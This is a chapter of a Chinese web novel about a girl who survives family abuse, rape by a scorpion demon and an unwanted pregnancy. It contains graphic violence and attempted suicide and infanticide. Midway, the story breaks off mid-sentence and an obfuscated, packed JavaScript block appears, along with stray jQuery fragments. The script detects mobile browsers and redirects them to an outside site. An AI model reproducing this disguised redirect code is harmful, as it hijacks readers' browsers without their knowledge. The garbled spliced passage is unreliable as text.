19. 命运

作品:《黑莲花他竟是恋爱脑

    凫花爬出洞时已是下午了,暖洋洋的日光洒落在身上,她眯眼看这久违的暖光,终是坚持不住晕了过去。


    睁开眼时,她的父母正在争吵。


    “你把这个不要脸的东西带回来干什么?原本说好了给城里王老爷做妾,现在她这个样子,人家还会要她?!”


    “我有什么办法,要不是我在路上碰到王婆子发现了四丫,她就被王婆子偷回家给她儿子了!我能便宜了她?可恨这婆子到处宣扬四丫给妖糟蹋了,王老爷不要她了,连送来的定金都给抢回去了!!”


    “啊醒了!姐姐醒了!”


    争吵声停了下来,男人浑浊的三角眼看向凫花,两步走近,提起她的头就是盛怒的一掌:“你个不要脸的贱货,死哪去了!”


    凫花生生挨了这一下,顿时眼冒金星,她脑仁生疼,双手却在地面不住的摸索,双唇蠕动着吐出零星字句:“陶……陶……”


    女人看她这副样子,忙上来去拦:“别把她打死了,牛牛还小,不能离了我,她吃的少,多少也能干点活,好不容易养这么大,如今又卖不了钱,打死就真亏了!”


    男人这才住了手,凫花头磕在地上,她费力睁眼,口里不住低喃着,艰难的转头四下寻找,终于在牛牛手里看见了那个小陶哨。


    陶哨被抓在牛牛黑胖的手里,上下挥动,磕在地上哐哐响。


    凫花眼里迸出怒火,她不知哪里来的力气,一下飞扑上去,将牛牛压倒,夺他手里的陶哨。


    牛牛吃的膘肥体壮,一双手虽小,却抓的死紧,他双脚猛踹凫花的肚子,凫花脸色惨白扭曲,却不愿放手。


    她不要命的去扣牛牛的手,一旁男人起了火,上去就是狂怒的一脚:“不要脸的骚货,还敢欺负你弟弟!”那一脚,力气极大,踹在凫花瘦弱的脊背上,凫花被踢飞在地,小陶哨却也因此被她夺了下来。


    牛牛哇哇大哭,边哭边叫着:“你不是我姐姐,你是贱货,你去死,去死!”女人尖叫怒骂,凫花蜷在地上,怀里护着小陶哨,闷声忍受着落在身上的拳脚。


    最后他们打累了,或许也害怕将她打死赔了钱,终是住了手,给她喂了些菜粥,扔到了床上。


    后来凫花痊愈后,当做没有这件事一样,勤勤恳恳的在家做活,每日夜里还帮母亲做些针线活。


    直到有一天,凫花偷了家里的钱,趁着夜色,跑了。


    那天月亮很大,村子里静悄悄的。她抱着一个小小的包裹,里面装着小陶哨和一点碎银子。


    黑夜里,一切都安静无声,明夷可以感受到她咚咚的心跳和急促的呼吸。凫花赤着脚,飞快的穿过村子,却在路过一户人家时,激起一阵犬吠。


    她拔腿就跑,却被人抓着头发拎了起来。


    头皮被扯的生疼,月光下,凫花看到了妖怪血红的眼睛。


    这只妖,他正在情期。


    后来的画面,明夷这辈子都不想再想起,她终于明白为何不食人肉的妖要抓美貌少女,可是太晚了,她们都明白的太晚了。


    她看着凫花受折磨,她尖叫,她怒吼,她发疯的想冲出去杀了这只妖,可最终她什么都做不了,她只能眼睁睁的看着凫花孤零零一个人,没人救她,那时候她该有多害怕啊。


    凫花从一开始的愤怒,挣扎,咆哮,到最后绝望,麻木,最终一动不动的接受了她的命运。


    明夷就这样看着她麻木不仁的躺着,直到黑夜过去,天亮了。


    那妖离开了。


    第一滴雨水落下时,凫花眼睛动了动,她抬起手,手里是一个断掉的蝎子尾刺。


    情期的蝎子妖,癫狂,疯魔,却也脆弱,极易受伤。于是凫花趁他不备时折断了他的尾刺,这里的人都是他脚下的蝼蚁,没有威胁,情期的妖不会注意到这些。


    她看着阳光下发亮的黑色尖刺,心里有一个疑问,妖会被自己的妖毒杀死吗?


    妖族的情期漫长不会轻易结束,即便蝎子妖生性警惕,她也会等,等一个可以杀死他的机会。


    凫花微微张嘴,雨水落进嘴里滋润了她干燥的嘴唇,她眼中光芒未熄,她要活下去,她一定要活下去。


    第二日凫花就等到了机会,她冲蝎子妖微微一笑,在他最不设防的时候,将尾刺扎进了他的脖子。趁他因剧痛挣扎时,凫花一把抓住早就藏好的削成尖刺的树枝,狠戾的插进蝎子妖的腹部,她双眼猩红,发了狠的一下又一下的刺入他的胸膛。


    直到那妖一动不动,树枝的尖刺断掉,她又搬起一旁的石头:“啊——”


    随着她一声暴喝,石头砸中他的头部,血浆喷溅。凫花不知疲倦的猛砸数下,直到地上变成一滩肉泥,她才抖着手,喘着粗气停了下来。


    她在那里呆了三日。


    她躲在不远处,亲眼看着鸟兽将他分食,然后又一场大雨落下,将他最后的残渣都冲刷干净。


    明夷看着她紧握着的拳头,看着她流着泪微笑。


    一切似乎都过去了。


    可一日清晨,她却莫名干呕,凫花抖着手去掀开衣服,然后看到微微隆起的小腹。


    她怀孕了。


    那一刻她毫不犹豫的抓起一旁的石头对准腹部想要砸下去,可在最后一刻却下不去手,她害怕,她真的好害怕,她曾见过那些因做重活,或被丈夫施虐落胎的婶婶,满地的血,有些挺不过去的就那样死了,被草席一卷就这样草草一生。她害怕自己就这样死掉,她不想就这样结束生命,石头掉在地上,凫花仰着头崩溃大哭。


    为什么,为什么要这样对她,她只是想活着而已,只是想要活着,为什么就这么难呢?


    她哭了一天,即便满心愤恨,最终还是无力的接受命运。


    之后的日子,凫花无心吃饭睡眠,即便迷迷糊糊入睡也会在半夜惊醒,看见隆起的肚子后,又脸色惨白的枯坐一整晚,她无数次的拿起石头又放下,神经质的将树枝削成尖刺,走到悬崖边又退回来,她痛恨这样的命运却又无比渴望活下去。


    十日后,孩子就落了地,凫花想摔死她,却发现这个人妖混血的怪物居然是个女孩,是女孩啊。


    凫花放弃了。


    她抱着孩子崩溃大哭,最后来到了悬崖边。


    悬崖高千丈,下面云雾飘渺,有风自下而上吹来,带着一股潮腥味。


    孩子紧紧的贴着她,凫花身体冰冷,只有怀中一点小小的温暖。


    就在她想一跃而下时,孩子一条长长的尾巴缠住了她的手臂,上面带着柔软的尖刺,这孩子生来就不哭,只是睁着眼睛看她,凫花回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673730|155713||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    望着她,她忍不住想,这样的小怪物若是跳下去死不了,以后可怎么办?难道要向她一样,过这样屈辱痛苦的生活吗?


    凫花抱着她缓缓后退,她最终为了这个小怪物活了下来。


    她们借宿在一位老妇人家中,妇人中年时接连丧夫丧子,如今一个人生活了许多年。


    凫花不敢让她看到孩子的模样,付了她些许银子,只让她每日将三餐放在门口,终日躲在房间里。


    她仔仔细细的看了孩子的身体,外表与人族没有区别,只有尾骨处长出一条长长的蝎子尾巴,夜深了,油灯亮着一豆暗光,房间里光线昏暗。凫花拿着剪刀坐在桌前已有一刻钟的时间。


    她看向床上的孩子,对上视线,孩子咯咯一笑,凫花将剪刀在油灯上过了三遍,向孩子走去。


    “哇啊——”


    凫花闷哼一声,剪刀落地,她捂住滴血的右手,撞在桌子上,油灯歪倒在桌上,灯光剧烈晃动,片刻后又颤颤巍巍的重新亮起来。


    那孩子仍在大哭,凫花怕惊扰了老妇,连忙上前捂住她的嘴,本以为她会咬她,就像刚才毫不犹豫的用尾刺扎她一样,可孩子在接触到她的那一刻竟奇迹般地安静下来,一双棕色的眼睛在昏暗的室内犹为明亮,直直的看着她。


    凫花收回手,床上晕开大片血渍,从孩子的尾部一路蔓延。


    凫花看着那潺潺流出的鲜血,心里泛起绵密的难过来。


    孩子的尾巴被剪开一半,可剩下的凫花却再也下不去手了。


    直到有一天,老妇的院子路过一群修士,他们进来讨茶喝,顺便坐在院子里歇息闲聊。


    躲在房中的凫花坐在窗前有一搭没一搭的听着,一旁的孩子趴在床上努力的伸出小手去够她,凫花看着却没有走过去的意思,她始终不太愿意亲近这个小怪物。


    “你们听说了吗,传闻这附近出了件宝物,可隐妖族气息,对于法力低微尚不能化形的妖族,还可助其褪去妖身呢。”


    凫花睁大眼睛,躲在窗边细细听着。


    “当真?还有这种神物?”


    “据说是仙人所造,近期在一仙气浓郁的仙冢中发现的。”


    “仙冢?人界哪来的仙冢?”


    “那仙冢自然是在妖族……”


    那群修士离开了。


    夜半无声,这晚似乎安静的过分,凫花等老妇睡去后,抱着孩子悄悄的推开了门,四周是一片浓郁的黑,没有半点声响,凫花察觉到不对,转身欲回,房门却应声而关。


    “啪!”


    凫花转过身,撞上一张苍白人脸,那人笑得阴森:“等了你这么久,终于出来了。”


    “那群修士是你假扮的?”凫花说着偷偷掏出剪刀,不料那人一挑眉,剪刀顿时脱手。


    那人一挥手,旁边卧房灯光大亮,老妇躺在那里,不知睡了多久。


    “想要她永远睡过去吗?”


    “为什么盯上我?”凫花抱紧孩子警惕的瞪着他。


    那人歪歪头:“好奇呀,一个人族身上却有妖气,还带着一个……”


    他指着凫花怀里的包裹:“怪物。”


    “这种混淆血脉的东西可不该在世上存在。”那人伸出手,“你带着它应该也很苦恼吧,把它给我。”